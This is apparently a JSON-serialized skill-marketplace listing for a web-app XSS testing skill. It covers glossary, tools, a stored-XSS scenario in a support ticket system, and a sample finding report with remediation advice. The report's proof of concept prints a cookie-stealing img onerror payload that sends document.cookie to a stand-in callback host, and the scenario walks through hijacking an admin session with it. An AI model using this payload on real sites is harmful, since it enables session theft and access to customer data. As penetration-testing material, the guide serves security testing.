[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M71H4QCZHYQENWRM4W2ZENZR":3,"skill-same:01M71H4QCZHYQENWRM4W2ZENZR":57},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":16,"categories":17,"keywords":18,"publishedAt":25,"linkOnly":26,"markdownContent":27,"markdownBody":28,"frontMatter":29,"refName":30,"commitSha":31,"skillDirectory":32,"forksCount":14,"repositoryHtmlUrl":33,"repositoryHomepageUrl":6,"ownerHtmlUrl":34,"ownerBlogUrl":6,"ownerDescription":35,"updatedAt":36,"install":37,"resources":50},"01M71H4QCZHYQENWRM4W2ZENZR","webapp-injection-xss-bypass",null,"Webapp Injection Xss Bypass.","DCx7C5\u002Fai-marketplace","DCx7C5","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F42419559?v=4","01M71C01G2AZV3NTNGWAWSHJPP","DC","01M71C01GQW6G50S2BYMS7PP3E",0,"MIT","https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace\u002Fblob\u002Fmain\u002Fskills\u002Fwebapp-injection-xss-bypass\u002FSKILL.md",[],[19,20,21,22,23,24],"injection","xss","webapp","injection xss bypass","webapp injection xss bypass","cybersecurity","2026-11-10 10:12:30",false,"---\nname: webapp-injection-xss-bypass\ndescription: \"Webapp Injection Xss Bypass.\"\ndomain: cybersecurity\n---\n\n|\n| **Reflected XSS** | Non-persistent XSS where the injected payload is included in the server's response to the same request, requiring the victim to click a crafted URL |\n| **Stored XSS** | Persistent XSS where the payload is saved on the server and served to other users who view the affected page |\n| **DOM-Based XSS** | XSS that occurs entirely in the browser when client-side JavaScript reads attacker-controlled data and writes it to a dangerous DOM sink |\n| **Content Security Policy** | HTTP response header that restricts which sources the browser can load scripts, styles, and other resources from, providing defense-in-depth against XSS |\n| **Output Encoding** | Converting special characters to their HTML entity equivalents (e.g., `\u003C` to `&lt;`) to prevent the browser from interpreting user input as code |\n| **Sink** | A JavaScript function or DOM property that can cause code execution or HTML rendering if attacker-controlled data reaches it unsanitized |\n\n## Tools & Systems\n\n- **Burp Suite Professional**: HTTP proxy with active scanning for reflected and stored XSS, plus Repeater and Intruder for manual payload testing\n- **XSS Hunter**: Hosted service that generates payloads which phone home with screenshots, cookies, and DOM content when triggered, essential for blind stored XSS\n- **DOMPurify**: Client-side sanitization library used by developers to prevent XSS; testers should test for bypass techniques against the deployed version\n- **Browser Developer Tools**: Console, Network, and Elements tabs for tracing DOM-based XSS data flows and testing payloads in real-time\n\n## Common Scenarios\n\n### Scenario: Stored XSS in Customer Support Ticket System\n\n**Context**: An e-commerce platform has a customer support system where customers submit tickets that are viewed by support agents in an internal admin panel. The ticket submission form accepts HTML formatting.\n\n**Approach**:\n1. Submit a support ticket with a unique XSS Hunter payload in the ticket description\n2. The payload fires when a support agent views the ticket in the admin panel, sending a callback with the agent's session cookie, page DOM, and screenshot\n3. Use the captured admin session cookie to access the admin panel as the support agent\n4. From the admin panel, access customer records, order data, and refund functionality\n5. Document the attack chain: customer submits ticket -> agent views ticket -> XSS fires -> session stolen -> admin panel compromised\n6. Test if CSP would have prevented the attack (in this case, no CSP header was present)\n\n**Pitfalls**:\n- Only testing for `\u003Cscript>alert(1)\u003C\u002Fscript>` and missing XSS that fires through event handlers or in non-HTML contexts\n- Not testing stored XSS in features that render to administrative users (support tickets, user profiles viewed by admins)\n- Ignoring DOM-based XSS in single-page applications where the server-side code is secure but client-side rendering is vulnerable\n- Not checking for XSS in HTTP headers (Referer, User-Agent) that may be logged and rendered in admin dashboards\n\n## Output Format\n\n```\n## Finding: Stored XSS in Support Ticket Description\n\n**ID**: XSS-002\n**Severity**: High (CVSS 8.1)\n**Affected URL**: POST \u002Fapi\u002Ftickets (submission), GET \u002Fadmin\u002Ftickets\u002F8847 (trigger)\n**Parameter**: description (POST body)\n**XSS Type**: Stored (persistent)\n\n**Description**:\nThe support ticket description field does not sanitize HTML input before storing\nit in the database. When a support agent views the ticket in the admin panel, the\nunsanitized HTML is rendered in the agent's browser, allowing arbitrary JavaScript\nexecution in the context of the admin application.\n\n**Proof of Concept**:\nSubmitted ticket with payload:\n\u003Cimg src=x onerror=\"fetch('https:\u002F\u002Fxsshunter.example\u002Fcallback?c='+document.cookie)\">\n\nThe payload fired when the agent viewed the ticket, exfiltrating the admin session\ncookie to the XSS Hunter server.\n\n**Impact**:\nAn attacker can steal the session tokens of support agents and administrators,\ngaining access to the admin panel with privileges to view customer PII, process\nrefunds, and modify orders. Affects all 23 support agents who view customer tickets.\n\n**Remediation**:\n1. Implement output encoding using a context-aware library (OWASP Java Encoder,\n   DOMPurify for client-side rendering)\n2. Deploy Content Security Policy header:\n   Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none'\n3. Set HttpOnly flag on session cookies to prevent JavaScript access\n4. Sanitize HTML input server-side using a whitelist approach (allow only safe tags)\n```\n","|\n| **Reflected XSS** | Non-persistent XSS where the injected payload is included in the server's response to the same request, requiring the victim to click a crafted URL |\n| **Stored XSS** | Persistent XSS where the payload is saved on the server and served to other users who view the affected page |\n| **DOM-Based XSS** | XSS that occurs entirely in the browser when client-side JavaScript reads attacker-controlled data and writes it to a dangerous DOM sink |\n| **Content Security Policy** | HTTP response header that restricts which sources the browser can load scripts, styles, and other resources from, providing defense-in-depth against XSS |\n| **Output Encoding** | Converting special characters to their HTML entity equivalents (e.g., `\u003C` to `&lt;`) to prevent the browser from interpreting user input as code |\n| **Sink** | A JavaScript function or DOM property that can cause code execution or HTML rendering if attacker-controlled data reaches it unsanitized |\n\n## Tools & Systems\n\n- **Burp Suite Professional**: HTTP proxy with active scanning for reflected and stored XSS, plus Repeater and Intruder for manual payload testing\n- **XSS Hunter**: Hosted service that generates payloads which phone home with screenshots, cookies, and DOM content when triggered, essential for blind stored XSS\n- **DOMPurify**: Client-side sanitization library used by developers to prevent XSS; testers should test for bypass techniques against the deployed version\n- **Browser Developer Tools**: Console, Network, and Elements tabs for tracing DOM-based XSS data flows and testing payloads in real-time\n\n## Common Scenarios\n\n### Scenario: Stored XSS in Customer Support Ticket System\n\n**Context**: An e-commerce platform has a customer support system where customers submit tickets that are viewed by support agents in an internal admin panel. The ticket submission form accepts HTML formatting.\n\n**Approach**:\n1. Submit a support ticket with a unique XSS Hunter payload in the ticket description\n2. The payload fires when a support agent views the ticket in the admin panel, sending a callback with the agent's session cookie, page DOM, and screenshot\n3. Use the captured admin session cookie to access the admin panel as the support agent\n4. From the admin panel, access customer records, order data, and refund functionality\n5. Document the attack chain: customer submits ticket -> agent views ticket -> XSS fires -> session stolen -> admin panel compromised\n6. Test if CSP would have prevented the attack (in this case, no CSP header was present)\n\n**Pitfalls**:\n- Only testing for `\u003Cscript>alert(1)\u003C\u002Fscript>` and missing XSS that fires through event handlers or in non-HTML contexts\n- Not testing stored XSS in features that render to administrative users (support tickets, user profiles viewed by admins)\n- Ignoring DOM-based XSS in single-page applications where the server-side code is secure but client-side rendering is vulnerable\n- Not checking for XSS in HTTP headers (Referer, User-Agent) that may be logged and rendered in admin dashboards\n\n## Output Format\n\n```\n## Finding: Stored XSS in Support Ticket Description\n\n**ID**: XSS-002\n**Severity**: High (CVSS 8.1)\n**Affected URL**: POST \u002Fapi\u002Ftickets (submission), GET \u002Fadmin\u002Ftickets\u002F8847 (trigger)\n**Parameter**: description (POST body)\n**XSS Type**: Stored (persistent)\n\n**Description**:\nThe support ticket description field does not sanitize HTML input before storing\nit in the database. When a support agent views the ticket in the admin panel, the\nunsanitized HTML is rendered in the agent's browser, allowing arbitrary JavaScript\nexecution in the context of the admin application.\n\n**Proof of Concept**:\nSubmitted ticket with payload:\n\u003Cimg src=x onerror=\"fetch('https:\u002F\u002Fxsshunter.example\u002Fcallback?c='+document.cookie)\">\n\nThe payload fired when the agent viewed the ticket, exfiltrating the admin session\ncookie to the XSS Hunter server.\n\n**Impact**:\nAn attacker can steal the session tokens of support agents and administrators,\ngaining access to the admin panel with privileges to view customer PII, process\nrefunds, and modify orders. Affects all 23 support agents who view customer tickets.\n\n**Remediation**:\n1. Implement output encoding using a context-aware library (OWASP Java Encoder,\n   DOMPurify for client-side rendering)\n2. Deploy Content Security Policy header:\n   Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none'\n3. Set HttpOnly flag on session cookies to prevent JavaScript access\n4. Sanitize HTML input server-side using a whitelist approach (allow only safe tags)\n```\n",{"name":5,"domain":24,"description":7},"main","a91f1293287ffa9f4f1b8f486cd6e835a1568c84","skills\u002Fwebapp-injection-xss-bypass","https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace","https:\u002F\u002Fgithub.com\u002FDCx7C5","#Python","2026-09-01 11:21:00",{"source":8,"skillName":5,"commands":38,"prompt":48,"zipAvailable":49},[39,42,45],{"tool":40,"command":41},"npx","npx skills add DCx7C5\u002Fai-marketplace --skill webapp-injection-xss-bypass",{"tool":43,"command":44},"bunx","bunx skills add DCx7C5\u002Fai-marketplace --skill webapp-injection-xss-bypass",{"tool":46,"command":47},"pnpm","pnpm dlx skills add DCx7C5\u002Fai-marketplace --skill webapp-injection-xss-bypass","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace\u002Fblob\u002Fmain\u002Fskills\u002Fwebapp-injection-xss-bypass\u002FSKILL.md",true,[51],{"path":52,"resourceType":53,"resourceTypeDesc":54,"sizeBytes":55,"sourceHtmlUrl":56},"index.json","REFERENCE","参考文档",508,"https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace\u002Fblob\u002Fmain\u002Fskills\u002Fwebapp-injection-xss-bypass\u002Findex.json",[58,68,93,116,138,160],{"skillNo":59,"name":60,"nameZh":6,"description":61,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":62,"licenseFileUrl":63,"sourceHtmlUrl":64,"categories":65,"keywords":66,"publishedAt":67},"01M73MDK3NT5XHNYTQ5P5172V9","devel-jb-algorithmic-art","- Embed algorithms inline in the HTML artifact (don't create separate .","Apache-2.0","https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace\u002Fblob\u002Fmain\u002Fskills\u002Fdevel-jb-algorithmic-art\u002FLICENSE.txt","https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace\u002Fblob\u002Fmain\u002Fskills\u002Fdevel-jb-algorithmic-art\u002FSKILL.md",[],[],"2026-11-11 15:11:14",{"skillNo":69,"name":70,"nameZh":6,"description":71,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":72,"categories":73,"keywords":74,"publishedAt":25},"01M71HAPZ01KQ30RKTB0FFSQ05","services-wmi-persistence-detect","Detect WMI event subscription persistence by enumerating ActiveScriptEventConsumer, CommandLineEventConsumer, and permanent subscriptions in the WMI repository.","https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace\u002Fblob\u002Fmain\u002Fskills\u002Fwindows\u002Fservices\u002Fwmi\u002Fpersistence\u002Fdetect\u002FSKILL.md",[],[75,76,77,78,79,80,81,24,82,83,84,85,86,87,88,89,90,91,92],"services","detect","services wmi persistence detect","wmi","persistence","process-forensics","process","forensics","t1546.003","event-subscription","subscription","repository","commandline-consumer","subscriptions","event","activescript","cm","de",{"skillNo":94,"name":95,"nameZh":6,"description":96,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":97,"categories":98,"keywords":99,"publishedAt":25},"01M71HAK6JTTTS229T17WJMMCG","services-wmi-exec-exploit","Perform lateral movement across Windows networks using WMI-based remote execution techniques including Impacket wmiexec.py, CrackMapExec, and native WMI commands for stealthy post-exploitation during red team engagements.","https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace\u002Fblob\u002Fmain\u002Fskills\u002Fwindows\u002Fservices\u002Fwmi\u002Fexec\u002Fexploit\u002FSKILL.md",[],[100,78,101,75,102,103,104,105,106,24,107,108,109,110,111,112,113,114,92,115],"exec","services wmi exec exploit","exploit","across","Bash","analysis","team","traffic","remote","crackmapexec","Impacket","lateral-movement","read","lateral movement","command","native",{"skillNo":117,"name":118,"nameZh":6,"description":119,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":120,"categories":121,"keywords":122,"publishedAt":25},"01M71HAG6MHKNQV8KDZKMT4886","registry-artifact-extract","Extract and analyze Windows Registry hives to uncover user activity, installed software, autostart entries, and evidence of system compromise.","https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace\u002Fblob\u002Fmain\u002Fskills\u002Fwindows\u002Fregistry\u002Fartifact\u002Fextract\u002FSKILL.md",[],[123,124,125,126,127,128,129,130,131,132,112,92,133,134,105,135,104,24,136,137],"extract","registry artifact extract","registry","artifact","digital-forensics","sonnet","regripper","windows-registry","evidence-collection","software","uncover","analyze","collection","artifact-analysis","activity",{"skillNo":139,"name":140,"nameZh":6,"description":141,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":142,"categories":143,"keywords":144,"publishedAt":25},"01M71HACR4A8XTWTTSXK4124AA","processes-token-impersonate-detect","Detect Windows token impersonation and privilege abuse including SeImpersonatePrivilege exploitation via Potato attacks and token stealing techniques.","https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace\u002Fblob\u002Fmain\u002Fskills\u002Fwindows\u002Fprocesses\u002Ftoken\u002Fimpersonate\u002Fdetect\u002FSKILL.md",[],[145,146,147,76,24,148,91,149,150,151,80,92,152,153,154,155,156,157,158,159],"processes","token","processes token impersonate detect","techniques","escalation","windows","attacks","via","impersonation","potato","exploitation","printspoofer","token-impersonation","seimpersonate","privilege-escalation",{"skillNo":161,"name":162,"nameZh":6,"description":163,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":164,"categories":165,"keywords":166,"publishedAt":25},"01M71HAABSB4Z6QFSXEG00R4RK","processes-thread-injection-detect","Detect Windows thread injection techniques including CreateRemoteThread, QueueUserAPC, NtCreateThreadEx, and thread hijacking via process memory analysis.","https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace\u002Fblob\u002Fmain\u002Fskills\u002Fwindows\u002Fprocesses\u002Fthread\u002Finjection\u002Fdetect\u002FSKILL.md",[],[167,145,19,76,168,169,81,92,152,170,171,172,105,80,24,148,173,91,174,150],"thread","processes thread injection detect","thread-injection","nt-api","apc-injection","api","process-injection","memory"]